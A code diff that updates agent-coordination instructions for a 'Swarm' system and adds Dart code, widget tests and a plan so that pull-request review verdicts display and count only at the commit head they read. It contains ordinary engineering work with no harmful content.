-- \`{"type":"work.status","conversationId":"GROUP","assignmentId":"current","status":"working","result":null}\` is your status for the Swarm. status: \`working\` (add a one-line note in result of what is done and next), \`review\` (ready for review: result holds the revision and the pull request link; send it once per new head), \`done\` (result: exact revision, evidence, deliverable links), \`blocked\` (result: why, and what would unblock you), \`needs_human\` (result: one short question), \`stopped\`. Set working again once it moves. A work.status \`done\` or \`stopped\` carries the session's token totals by itself.
+- \`{"type":"work.status","conversationId":"GROUP","assignmentId":"current","status":"working","result":null}\` is your status for the Swarm. status: \`working\` (result: a one-line note of what is done and next), \`review\` (ready for review; result: the revision and pull request link, sent once per new head), \`done\` (result: exact revision, evidence, deliverable links), \`blocked\` (result: why, and what would unblock you), \`needs_human\` (result: one short question), \`stopped\`. Set working again once it moves. \`done\` and \`stopped\` carry the session's token totals.
- \`needs_human\` may carry \`"ask":{"personId":"PERSON","options":["A","B"],"recommended":0,"unblocks":"what the answer unblocks"}\`: 2 to 5 options, opened as a decision for that person. Keep working on your recommendation, marked provisional, until a notice says it was answered; then read the answer with \`decisions --answered\`. The notice carries none of it.
-- \`{"type":"work.check","conversationId":"GROUP","assignmentId":"current","checkId":"CHECK","passed":true,"evidence":"exact command, revision and observed result"}\` records one acceptance check.
+- \`{"type":"work.check","conversationId":"GROUP","assignmentId":"current","checkId":"CHECK","passed":true,"evidence":"command run, revision, result","head":"SHA","base":"BRANCH"}\` records an acceptance check at the PR head and base you read.
- \`{"type":"work.cancel","conversationId":"GROUP","assignmentId":"current","reason":"one short sentence"}\` cancels a task.
- \`{"type":"agent.release","agentId":"AGENT","decision":"keep|stop"}\` records keep or requests stop of an agent whose work is finished; wait for its machine to confirm a stop.
-- \`{"type":"proposal.close","projectId":"PROJECT","messageId":"PROPOSAL","reason":"built in #N, declined or duplicate"}\` closes a Buddy's proposal that is still listed as open though it was answered or built (before threads, or opened as a task without its proposalMessageId): it leaves the open proposals for good with its reason kept, and posts nothing in the chat. The project's coordinator, or a person who reads the project.
-- \`{"type":"conversation.merged","conversationId":"GROUP","pullRequestUrl":"https://github.com/OWNER/REPOSITORY/pull/NUMBER","mergedAt":"optional ISO time"}\` records that a group's pull request merged; the requester's request counts as shipped from that record.
+- \`{"type":"proposal.close","projectId":"PROJECT","messageId":"PROPOSAL","reason":"built in #N, declined or duplicate"}\` closes a Buddy's proposal still listed as open though answered or built (before threads, or opened as a task without its proposalMessageId): it leaves the open list for good, its reason kept, and posts nothing in the chat. The project's coordinator, or a person who reads the project.
+- \`{"type":"conversation.merged","conversationId":"GROUP","pullRequestUrl":"https://github.com/OWNER/REPOSITORY/pull/NUMBER","mergedAt":"optional ISO time"}\` records a group's pull request as merged; its requester's request counts as shipped from then.
- \`{"type":"decision.ask","conversationId":"GROUP","personId":"PERSON","questions":[{"question":"...","options":["A","B"],"recommended":0,"unblocks":"..."}]}\` puts up to 10 questions to one person at once, each with 2 to 5 options.
- \`{"type":"person.tell","personId":"PERSON","text":"..."}\` lands in that person's Buddy chat, which you cannot read. It is not private: members watching your terminal see what you send.
- \`{"type":"project.report","projectId":"PROJECT","through":{"GROUP":214031},"text":"..."}\` answers a scheduled project update request through the revisions it names; text null when nothing changed. An unanswered request blocks the later ones and keeps finished groups from archiving.
diff --git a/desktop/lib/super_tabs/work_details.dart b/desktop/lib/super_tabs/work_details.dart
index 2f931c545..a88bfd02f 100644
--- a/desktop/lib/super_tabs/work_details.dart
+++ b/desktop/lib/super_tabs/work_details.dart
@@ -71,7 +71,7 @@ Future<void> _showWork(
),
if (check['evidence'] is String)
SuperTabMessageText(check['evidence'] as String),
- Text(check['passedBy'] == null ? 'Not verified' : 'Verified'),
+ Text(superTabCheckLabel(check)),
if (c.canWrite && assignment != null)
TextButton(
onPressed: c.saving || c.hasPendingAction
@@ -185,3 +185,48 @@ Future<void> _record(
),
);
}
+
+/// A check's line (Dee, #3394): a verdict counts only at the pull request
+/// head it read, so a pass names that head, and a check whose verdicts all
+/// stopped counting says why: a newer head, no head named, or its pull
+/// request's head not read yet. Verdicts on a task with no watched head read
+/// as they did (backend checkVerdicts.ts).
+String superTabCheckLabel(Map<String, dynamic> check) {
+ final verdicts = (check['verdicts'] as List? ?? const [])
+ .whereType<Map>()
+ .toList();
+ String short(Object? head) =>
+ head is String && head.length > 7 ? head.substring(0, 7) : '$head';
+ final passedBy = check['passedBy'];
+ if (passedBy != null) {
+ final pass = verdicts.lastWhere(
+ (v) => v['by'] == passedBy && v['passed'] == true && v['stale'] == null,
+ orElse: () => const {},
+ );
+ return pass['head'] is String
+ ? 'Yes at ${short(pass['head'])}'
+ : 'Verified';
+ }
+ if (verdicts.any((v) => v['stale'] == null)) return 'Not verified';
+ final stale = verdicts.lastWhere(
+ (v) => v['stale'] is String,
+ orElse: () => const {},
+ );
+ if (stale.isEmpty) return 'Not verified';
+ // Same head, another target branch (security review of #3218): the diff it
+ // read was against the branch it names.
+ if (stale['head'] is String && stale['head'] == stale['stale']) {
+ if (stale['base'] is! String) {
+ return 'Stale: read ${short(stale['head'])}, no base named';
+ }
+ return 'Stale: read ${short(stale['head'])} against ${stale['base']}, '
+ 'PR targets another branch';
+ }
+ final read = stale['head'] is String
+ ? 'read ${short(stale['head'])}'
+ : 'no head named';
+ final now = (stale['stale'] as String).isEmpty
+ ? 'PR head not read yet'
+ : 'PR is at ${short(stale['stale'])}';
+ return 'Stale: $read, $now';
+}
diff --git a/desktop/test/super_tab_work_details_test.dart b/desktop/test/super_tab_work_details_test.dart
index f576e27c7..1d9703942 100644
--- a/desktop/test/super_tab_work_details_test.dart
+++ b/desktop/test/super_tab_work_details_test.dart
@@ -233,4 +233,218 @@ void main() {
findsOneWidget,
);
});
+
+ // Dee, #3394: a verdict counts only at the pull request head it read; the
+ // check line says which head, or that a newer head made it stale.
+ group('a check line names the head its verdict read', () {
+ Future<void> open(WidgetTester tester, Map<String, dynamic> check) async {
+ final server = ConversationServer();
+ final row =
+ (server.state['conversations'] as List)[1] as Map<String, dynamic>;
+ row['checks'] = [check];
+ final controller = server.controller();
+ addTearDown(controller.dispose);
+ await controller.refresh();
+ await tester.pumpWidget(
+ MaterialApp(
+ home: Builder(
+ builder: (context) => Scaffold(
+ body: TextButton(
+ onPressed: () =>
+ showSuperTabWork(context, controller, 'offline'),
+ child: const Text('Open'),
+ ),
+ ),
+ ),
+ ),
+ );
+ await tester.tap(find.text('Open'));
+ await tester.pumpAndSettle();
+ }
+
+ const a = 'aaaaaaa1111111111111111111111111111111aa';
+ const b = 'bbbbbbb2222222222222222222222222222222bb';
+
+ testWidgets('Yes at its head while it counts', (tester) async {
+ await open(tester, {
+ 'id': 'check',
+ 'description': 'Signs in offline',
+ 'independent': true,
+ 'evidence': 'Diff reads right',
+ 'passedBy': 'agent:reviewer',
+ 'verdicts': [
+ {
+ 'by': 'agent:reviewer',
+ 'passed': true,
+ 'evidence': 'Diff reads right',
+ 'at': 2,
+ 'pullRequest': 'https://github.com/acme/app/pull/7',
+ 'head': a,
+ 'patch': 'p1',
+ },
+ ],
+ });
+ expect(find.text('Yes at aaaaaaa'), findsOneWidget);
+ expect(find.text('Verified'), findsNothing);
+ });
+
+ testWidgets('Stale once a newer head stopped it counting', (tester) async {
+ await open(tester, {
+ 'id': 'check',
+ 'description': 'Signs in offline',
+ 'independent': true,
+ 'evidence': null,
+ 'passedBy': null,
+ 'verdicts': [
+ {
+ 'by': 'agent:reviewer',
+ 'passed': true,
+ 'evidence': 'Diff reads right',
+ 'at': 2,
+ 'pullRequest': 'https://github.com/acme/app/pull/7',
+ 'head': a,
+ 'patch': 'p1',
+ 'stale': b,
+ },
+ ],
+ });
+ expect(
+ find.text('Stale: read aaaaaaa, PR is at bbbbbbb'),
+ findsOneWidget,
+ );
+ expect(find.text('Not verified'), findsNothing);
+ });
+
+ testWidgets('Stale when it named no head, or its PR head is not read', (
+ tester,
+ ) async {
+ await open(tester, {
+ 'id': 'check',
+ 'description': 'Signs in offline',
+ 'independent': true,
+ 'evidence': null,
+ 'passedBy': null,
+ 'verdicts': [
+ {
+ 'by': 'agent:reviewer',
+ 'passed': true,
+ 'evidence': 'Diff reads right',
+ 'at': 2,
+ 'pullRequest': 'https://github.com/acme/app/pull/7',
+ 'stale': b,
+ },
+ {
+ 'by': 'agent:tester',
+ 'passed': true,
+ 'evidence': 'Signs in',
+ 'at': 3,
+ 'pullRequest': 'https://github.com/acme/app/pull/8',
+ 'head': a,
+ 'stale': '',
+ },
+ ],
+ });
+ expect(
+ find.text('Stale: read aaaaaaa, PR head not read yet'),
+ findsOneWidget,
+ );
+ });
+
+ testWidgets('Stale when its verdict named no head', (tester) async {
+ await open(tester, {
+ 'id': 'check',
+ 'description': 'Signs in offline',
+ 'independent': true,
+ 'evidence': null,
+ 'passedBy': null,
+ 'verdicts': [
+ {
+ 'by': 'agent:reviewer',
+ 'passed': true,
+ 'evidence': 'Diff reads right',
+ 'at': 2,
+ 'pullRequest': 'https://github.com/acme/app/pull/7',
+ 'stale': b,
+ },
+ ],
+ });
+ expect(
+ find.text('Stale: no head named, PR is at bbbbbbb'),
+ findsOneWidget,
+ );
+ });
+
+ testWidgets('Stale when the PR now merges into another branch', (
+ tester,
+ ) async {
+ await open(tester, {
+ 'id': 'check',
+ 'description': 'Signs in offline',
+ 'independent': true,
+ 'evidence': null,
+ 'passedBy': null,
+ 'verdicts': [
+ {
+ 'by': 'agent:reviewer',
+ 'passed': true,
+ 'evidence': 'Diff reads right',
+ 'at': 2,
+ 'pullRequest': 'https://github.com/acme/app/pull/7',
+ 'head': a,
+ 'base': 'evil',
+ 'stale': a,
+ },
+ ],
+ });
+ expect(
+ find.text(
+ 'Stale: read aaaaaaa against evil, PR targets another branch',
+ ),
+ findsOneWidget,
+ );
+ });
+
+ testWidgets('Stale when its verdict named no base', (tester) async {
+ await open(tester, {
+ 'id': 'check',
+ 'description': 'Signs in offline',
+ 'independent': true,
+ 'evidence': null,
+ 'passedBy': null,
+ 'verdicts': [
+ {
+ 'by': 'agent:reviewer',
+ 'passed': true,
+ 'evidence': 'Diff reads right',
+ 'at': 2,
+ 'pullRequest': 'https://github.com/acme/app/pull/7',
+ 'head': a,
+ 'stale': a,
+ },
+ ],
+ });
+ expect(find.text('Stale: read aaaaaaa, no base named'), findsOneWidget);
+ });
+
+ testWidgets('Verified as before for a verdict with no head', (
+ tester,
+ ) async {
+ await open(tester, {
+ 'id': 'check',
+ 'description': 'Signs in offline',
+ 'independent': true,
+ 'evidence': 'Diff reads right',
+ 'passedBy': 'agent:reviewer',
+ 'verdicts': [
+ {
+ 'by': 'agent:reviewer',
+ 'passed': true,
+ 'evidence': 'Diff reads right',
+ 'at': 2,
+ },
+ ],
+ });
+ expect(find.text('Verified'), findsOneWidget);
+ });
+ });
}
diff --git a/docs/plans/2026-11-05-verdict-at-head-plan.md b/docs/plans/2026-11-05-verdict-at-head-plan.md
new file mode 100644
index 000000000..168cdda77
--- /dev/null
+++ b/docs/plans/2026-11-05-verdict-at-head-plan.md
@@ -0,0 +1,107 @@
+# A verdict counts only at the head it read: implementation plan
+
+> Written by the project's Engineer way of working (project instructions, Engineer): plan first, then each task test first,
+> the failing test committed before its code. No Execution Handoff.
+
+**Goal:** Review and test verdicts record the pull request head they read. A newer head stops them counting unless the
+pull request's own patch is the same (a plain rebase, or a main merge that leaves the PR's diff unchanged). This
+replaces reading "Ready to merge: No / With fixes" out of post text (task #3394, requested by Dee through Harness).
+
+**Architecture:** A check verdict (`CheckVerdict`, model.ts) gains the pull request, head and patch id it was given at.
+The task keeps, per linked pull request, the head and patch id its PR watch last read (`Conversation.pullRequestHeads`).
+`checkVerdicts.ts` derives a check's `passedBy`/`evidence` from the verdicts that still count; a verdict that does not
+count is marked `stale` with the head that made it so. The PR watch (pullRequestEvents.ts, every minute) reads the PR's
+per-file patches only when the head changed, hashes them into a patch id (hunk positions ignored), stores the new head
+and re-derives the checks of the task and its steps. liveness.ts drops its text parse: a failed check (already
+`changesRequested`) is what keeps a step waiting. Desktop's check line says "Yes at <head>" or "Stale: read X, PR is at Y".
+
+**Tech Stack:** TypeScript backend (vitest, Mongo integration suite), Flutter Desktop (one widget line).
+
+**Spec:** task #3394 brief; PM answers in the task (one Desktop line; delete the text parse; optional `head` on
+`work.check`; one GitHub App method).
+
+## Global Constraints
+
+- No new refusal: `removedRefusals.test.ts` stays green. A bad `head` is a schema error like any malformed field.
+- Old clients: `head` (the whole commit id) is optional in the command. A verdict counts as before only while its task has
+ no watched head; after that, one naming no head, or on a pull request whose head is not watched, counts at none.
+- Fail safe: a head's patch is read from the comparison of the base and head commits the pull request names in one answer,
+ so no push changes it; a head whose patch cannot be read (GitHub error, 300 files or more, the pull request names another
+ head) has patch `null`, so only an exact head match counts there; it is read again after 15 minutes.
+- A task once watched never counts verdicts "as before": a verdict on a pull request it no longer reads is unverified.
+- Reads: per-file patches are read when the watch sees a new head, or again for a null patch every 15 minutes. Steps load
+ by key from the task's `stepIds`; a task from before them looks its dormant steps up once.
+- Swarm code stays out of cli/src/core.
+
+## Design
+
+- growth: the watch reads a task's newest 50 links (`watchedLinks`) and `pullRequestHeads` keeps exactly those heads
+ (`keepHead`), so the map never drops a head the next pass reads; a verdict on a link no longer read is unverified.
+ `stepIds` is capped at 200 (production: at most 14 steps on a task, 1.6 on average, 2026-11-05). Verdicts as before.
+- concurrency: written in the same group transaction as the watch's keys (store.ts pullRequestSeen) and `work.check`.
+- read cost: a head's patch is two GitHub calls (the pull request, then its base...head comparison), once per new head, and again
+ only for a head whose patch could not be read, every 15 minutes. Steps are loaded by key from `stepIds` on a head
+ change only. A second watch read takes done, unarchived tasks of any age (cap 100) by the same index, `workFinished:
+ true` (production: 51 finished, unarchived groups in all). A task from before `stepIds` looks its dormant steps up once,
+ by tabId, dormant and deleted (a Swarm's dormant groups, at most 3,060 in production), then lists them.
+- scale: production on 2026-11-05 had 51 open tasks with 552 links (one task with 369; 45 watched this week) and 31 done,
+ unarchived tasks with links (11 quiet over a week). 10x pushes means 10x files reads; the pass's warn line (`unreadable`, `unpatched`) shows it first.
+- compatibility: old clients ignore the new fields. An agent's `work.check` without `head` is recorded and counts at no
+ watched head; its result says `counts: false` and what to send. A person's still gets the head watched last.
+- migration + rollback: none. A verdict from before heads counts until its task's pull request is first watched, then
+ needs a new check (rollout note). Rolling back leaves extra fields nobody reads.
+- audience: the head and patch id come from the server's GitHub App read; a checker states only the head it read, whole.
+ The patch read uses its own token, read-only (contents, pull_requests, metadata), revoked when the pass ends.
+- identity: N/A because nothing here acts as a person.
+- failure: an unreadable patch is stored as null, so only the exact head counts; the pass logs it and reads it again.
+- platforms: backend, plus one Desktop text line that looks the same on every platform.
+
+## Review Focus
+
+- A pass at an old head must never count unless the patch ids match (security: it gates merges).
+- A failure at an old head stops counting too (the check reads pending, not failed).
+- The step refresh: steps' checks re-derive against their task's heads.
+
+## Task 1: verdicts carry a head, and a check counts only its live verdicts
+
+**Files:** backend/src/superTabs/model.ts, checkVerdicts.ts, checkVerdicts.test.ts (new)
+
+**Interfaces:** `CheckVerdict { pullRequest?, head?, patch?, stale? }`; `PullRequestHead { head, patch, at }`;
+`verdictCounts(verdict, heads)`, `deriveCheck(check, heads)`, `refreshChecks(checks, url, previous, next)`.
+
+- [ ] Test: a pass at the current head counts; after a new head with another patch it is stale and `passedBy` is null.
+- [ ] Test: the same patch at a new head keeps it; a verdict with no head counts as before.
+- [ ] Test: a stale failure no longer fails the check.
+- [ ] Code.
+
+## Task 2: `work.check` stamps the verdict
+
+**Files:** backend/src/superTabs/commands.ts, steps.test.ts
+
+- [ ] Test: a check recorded on a task (and on its step) records the task PR's watched head and patch; an optional
+ `head` the checker gives is recorded instead; a malformed one is refused by the schema.
+- [ ] Code.
+
+## Task 3: the PR watch records new heads and their patch id
+
+**Files:** backend/src/superTabs/pullRequestPatch.ts (new), pullRequestEvents.ts, store.ts, parts/light.ts,
+backend/src/github/app.ts, integration/superTabPullRequestEvents.test.ts
+
+- [ ] Test (unit): the patch id ignores hunk positions and file order, and changes with any changed line.
+- [ ] Test (integration): a pass at a verdict's head keeps it; a new commit makes it stale on the task and its step; a
+ rebase with the same patch keeps it.
+- [ ] Code.
+
+## Task 4: no text parse in liveness
+
+**Files:** backend/src/superTabs/liveness.ts, commands.ts, steps.test.ts, instructionsTemplate.ts, instructions.test.ts
+
+- [ ] Test: a "Ready to merge: With fixes" post to a working Engineer keeps nothing; a failed check does.
+- [ ] Code; the template's Workflow 3 says a failed check, recorded at the head read, keeps the step.
+
+## Task 5: the Desktop check line
+
+**Files:** desktop/lib/super_tabs/work_details.dart, its test
+
+- [ ] Test: "Yes at 1a2b3c4" for a counting pass with a head; "Stale: read 1a2b3c4, PR is at 9f8e7d6" for a stale one.
+- [ ] Code.